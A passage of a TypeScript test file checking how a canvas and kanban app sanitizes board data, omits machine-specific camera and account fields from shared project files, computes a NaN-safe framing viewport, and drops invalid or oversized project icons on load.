// Same rule as `category`: a STRING the readers cannot use is kept (they already treat it as
// absent, and the next write into that column re-keys it), a non-string is dropped.
it('keeps any rank STRING (readers ignore an invalid one), drops a non-string rank', () => {
const k = {
...clean(),
assignments: [
{ nodeId: 'ok', columnId: 'kcol-a', rank: 'a0' },
{ nodeId: 'num', columnId: 'kcol-a', rank: 5 },
{ nodeId: 'junk', columnId: 'kcol-a', rank: 'not a rank!' },
{ nodeId: 'obj', columnId: 'kcol-a', rank: { a: 1 } }
]
}
expect(sanitizeKanban(k)?.assignments).toEqual([
{ nodeId: 'ok', columnId: 'kcol-a', rank: 'a0' },
{ nodeId: 'num', columnId: 'kcol-a' },
{ nodeId: 'junk', columnId: 'kcol-a', rank: 'not a rank!' },
{ nodeId: 'obj', columnId: 'kcol-a' }
])
})
// A clean git merge of two machines' boards can leave one card assigned twice. The first entry is
// the one `columnForNode` has always answered with, so it is the one kept.
it('keeps only the FIRST assignment of a card assigned twice', () => {
const k = {
...clean(),
assignments: [
{ nodeId: 'x', columnId: 'kcol-a', rank: 'a0' },
{ nodeId: 'y', columnId: 'kcol-b', rank: 'a0' },
{ nodeId: 'x', columnId: 'kcol-b', rank: 'a1' }
]
}
expect(sanitizeKanban(k)?.assignments).toEqual([
{ nodeId: 'x', columnId: 'kcol-a', rank: 'a0' },
{ nodeId: 'y', columnId: 'kcol-b', rank: 'a0' }
])
})
it('normalizes a card\'s assignees: a non-list is dropped, bad entries filtered, the rest kept', () => {
const k = {
...clean(),
meta: [
{ nodeId: 'a', assignees: 5, priority: 'high' },
{ nodeId: 'b', assignees: [{ name: 'enes', color: '#0a84ff' }, 3, { name: 1 }] },
{ nodeId: 'c', assignees: [{ name: 'sam', color: '#ff453a' }] }
]
}
expect(sanitizeKanban(k)?.meta).toEqual([
{ nodeId: 'a', priority: 'high' },
{ nodeId: 'b', assignees: [{ name: 'enes', color: '#0a84ff' }] },
{ nodeId: 'c', assignees: [{ name: 'sam', color: '#ff453a' }] }
])
const cleanMeta = { ...clean(), meta: [{ nodeId: 'c', assignees: [{ name: 'sam', color: '#ff453a' }] }] }
expect(sanitizeKanban(cleanMeta)).toBe(cleanMeta)
})
it('admits saved views through sanitizeViews (a garbage list is dropped, a clean one kept)', () => {
const views = [{ id: 'kview-1', name: 'Mine', query: { assignees: ['enes'] } }]
const clean = { ...clean_(), views }
expect(sanitizeKanban(clean)).toBe(clean)
const bad = { ...clean_(), views: [{ id: 3 }, 'x', { id: 'v', name: 'Bugs', query: { source: 'nope', labels: ['local:l'] } }] }
expect(sanitizeKanban(bad)?.views).toEqual([{ id: 'v', name: 'Bugs', query: { labels: ['local:l'] } }])
const junk = { ...clean_(), views: 'nope' }
expect('views' in (sanitizeKanban(junk) as object)).toBe(false)
})
it('keeps fields it does not know (a newer build\'s board data round-trips)', () => {
const k = { ...clean(), futureThing: [1, 2], columns: [{ ...clean().columns[0], wip: 3 }] }
const out = sanitizeKanban(k) as unknown as Record<string, unknown>
expect(out.futureThing).toEqual([1, 2])
expect((out.columns as Array<Record<string, unknown>>)[0].wip).toBe(3)
})
it('runs on the READ seam (fileToProject)', () => {
const f = projectToFile(project(), 1, '2026-07-18T00:00:00.000Z')
const evil = { ...f, kanban: { columns: [null, { id: 'a', title: 'A', color: '#fff', category: 7 }], assignments: [] } }
expect(fileToProject(evil as unknown as ProjectFileV1, { id: 'p1' }).kanban).toEqual({
columns: [{ id: 'a', title: 'A', color: '#fff' }],
assignments: []
})
})
it('runs on the WRITE seam (projectToFile) — live data reached by a peer is not trusted either', () => {
const live = { columns: [{ id: 'a', title: 'A', color: '#fff', category: [] }], assignments: [7] }
const f = projectToFile(project({ kanban: live as unknown as ProjectKanban }), 1, 'now')
expect(f.kanban).toEqual({ columns: [{ id: 'a', title: 'A', color: '#fff' }], assignments: [] })
})
})
describe('the shared file carries content, not machine identity', () => {
const p = project({
id: 'project-mridky20-11', cwd: '/a/foo', name: 'shared', defaultAccountId: 'acct-1',
viewport: { x: -400, y: 90, zoom: 0.6 }, dinoHighScore: 12,
kanban: { columns: [], assignments: [] }
})
it('drops the id, the camera and the account — keeps everything a team shares', () => {
const f = projectToFile(p, 1, 'now')
expect(f.id).not.toBe('project-mridky20-11')
expect(f.viewport).not.toEqual(p.viewport) // not this user's camera; a frame for the nodes
expect(f.viewport).toEqual(framingViewport(f.nodes))
expect(f.defaultAccountId).toBeUndefined()
// Content a team WANTS: two people opening this repo should see the same board, the same
// canvas, under the same name and color.
expect(f).toMatchObject({ name: 'shared', color: p.color, dinoHighScore: 12 })
expect(f.kanban).toEqual({ columns: [], assignments: [] })
})
it('the legacy id is derived from the canvas name, so every machine writes the same bytes', () => {
const mine = projectToFile(p, 1, 'now')
const theirs = projectToFile({ ...p, id: 'project-other-9', cwd: '/elsewhere/foo' }, 1, 'now')
expect(theirs.id).toBe(mine.id)
expect(serializeProjectFile(theirs)).toBe(serializeProjectFile(mine))
})
it('fileToProject takes identity from the caller and ignores what the file claims', () => {
const f = { ...projectToFile(p, 1, 'now'), id: 'project-someone-else' }
expect(fileToProject(f, { id: 'ours', cwd: '/a/foo' }).id).toBe('ours')
})
it('a legacy file\'s camera/account are read once (the upgrade path), the entry then wins', () => {
const legacy = {
...projectToFile(p, 1, 'now'),
viewport: { x: 1, y: 2, zoom: 3 },
defaultAccountId: 'acct-legacy'
}
expect(fileToProject(legacy, { id: 'ours' })).toMatchObject({
viewport: { x: 1, y: 2, zoom: 3 }, defaultAccountId: 'acct-legacy'
})
expect(fileToProject(legacy, {
id: 'ours', viewport: { x: 9, y: 9, zoom: 9 }, defaultAccountId: 'acct-ours'
})).toMatchObject({ viewport: { x: 9, y: 9, zoom: 9 }, defaultAccountId: 'acct-ours' })
})
it('splitWorkspace keeps the camera + account in the machine-local index entry', () => {
const { index } = splitWorkspace(
{ version: 2, activeProjectId: p.id, projects: [p] }, () => 1, 'now'
)
expect(index.entries[0]).toMatchObject({
id: 'project-mridky20-11', cwd: '/a/foo',
viewport: { x: -400, y: 90, zoom: 0.6 }, defaultAccountId: 'acct-1'
})
})
it('an unavailable ref writes NO camera (a placeholder must not forget where the user was)', () => {
const { index } = splitWorkspace(
{ version: 2, activeProjectId: p.id, projects: [{ ...p, unavailable: true, nodes: [] }] },
() => 1, 'now'
)
expect(index.entries[0].viewport).toBeUndefined()
})
})
describe('framingViewport', () => {
it('puts the top-left node just inside the corner of an adopted canvas', () => {
const vp = framingViewport([node({ position: { x: 4000, y: 2000 } })])
expect(vp.zoom).toBe(1)
expect(vp.x + 4000).toBe(80)
expect(vp.y + 2000).toBe(80)
})
it('an empty canvas (and a canvas of only children) stays at the origin', () => {
expect(framingViewport([])).toEqual({ x: 0, y: 0, zoom: 1 })
// A child's position is relative to its frame, so it can't anchor the camera.
expect(framingViewport([node({ parentId: 'group-1', position: { x: 10, y: 10 } })]))
.toEqual({ x: 0, y: 0, zoom: 1 })
})
// This value is written into the user's COMMITTED file on every save. The field it replaced was
// the user's own viewport and could not be poisoned by node data; this one can, so a corrupt or
// hand-edited position must not reach the file as NaN — which JSON.stringify writes as `null`,
// and which a reader then hands to React Flow as a camera.
it('a corrupt node position never reaches the file (no NaN, and the good axis still counts)', () => {
const corrupt = [
{ ...node({ id: 'bad' }), position: { x: null, y: 75 } as unknown as { x: number; y: number } },
node({ id: 'ok', position: { x: 300, y: 900 } })
]
expect(framingViewport(corrupt)).toEqual({ x: 80 - 300, y: 80 - 75, zoom: 1 })
// …and what actually lands on disk: JSON.stringify turns NaN into `null`, so the round trip
// is the assertion that matters (the node's own corrupt position is preserved verbatim —
// this file is not the place to silently rewrite the user's data).
const written = JSON.parse(
serializeProjectFile(projectToFile(project({ nodes: corrupt }), 1, 'now'))
) as ProjectFileV1
expect(Number.isFinite(written.viewport!.x)).toBe(true)
expect(Number.isFinite(written.viewport!.y)).toBe(true)
expect(written.viewport).toEqual({ x: -220, y: 5, zoom: 1 })
})
it('every position corrupt (or missing) falls back to the origin, never NaN', () => {
const junk = [
{ ...node({ id: 'a' }), position: undefined as unknown as { x: number; y: number } },
{ ...node({ id: 'b' }), position: { x: 'left', y: NaN } as unknown as { x: number; y: number } }
]
expect(framingViewport(junk)).toEqual({ x: 0, y: 0, zoom: 1 })
})
// It runs inside projectToFile → splitWorkspace → save(), so a throw here fails the WHOLE save,
// not one node. `Math.min(...nodes.map(…))` overflowed the call stack around 200k arguments.
it('a canvas far past the argument limit still frames (a loop, not a spread)', () => {
const many = Array.from({ length: 250_000 }, (_, i) => node({ id: `t${i}`, position: { x: i + 5, y: i + 9 } }))
expect(framingViewport(many)).toEqual({ x: 75, y: 71, zoom: 1 })
})
})
describe('project icon: emitted only when valid, sanitized on the hostile load path', () => {
it('a valid icon round-trips projectToFile -> fileToProject', () => {
const p = project({ icon: { type: 'lucide', name: 'rocket' } })
const f = projectToFile(p, 1, 'now')
expect(f.icon).toEqual({ type: 'lucide', name: 'rocket' })
const back = fileToProject(f, { id: p.id })
expect(back.icon).toEqual({ type: 'lucide', name: 'rocket' })
})
it('an invalid in-memory icon is never written to the file (no bytes)', () => {
const p = project({ icon: { type: 'lucide', name: 'not-a-real-icon' } as any })
const f = projectToFile(p, 1, 'now')
expect(f.icon).toBeUndefined()
})
it('an absent icon adds no bytes to the file', () => {
const f = projectToFile(project(), 1, 'now')
expect(f.icon).toBeUndefined()
})
it('an oversized icon on disk is dropped on load (fileToProject degrades to no icon)', () => {
const hugeSrc = `data:image/png;base64,${'A'.repeat(400_000)}`
const f = { ...projectToFile(project(), 1, 'now'), icon: { type: 'image', src: hugeSrc, source: 'upload' } } as any
expect(fileToProject(f, { id: 'p1' }).icon).toBeUndefined()
})
it('a hand-edited hostile icon shape on disk is dropped on load', () => {
const f = { ...projectToFile(project(), 1, 'now'), icon: { type: 'lucide', name: 'not-real' } } as any
expect(fileToProject(f, { id: 'p1' }).icon).toBeUndefined()
})
})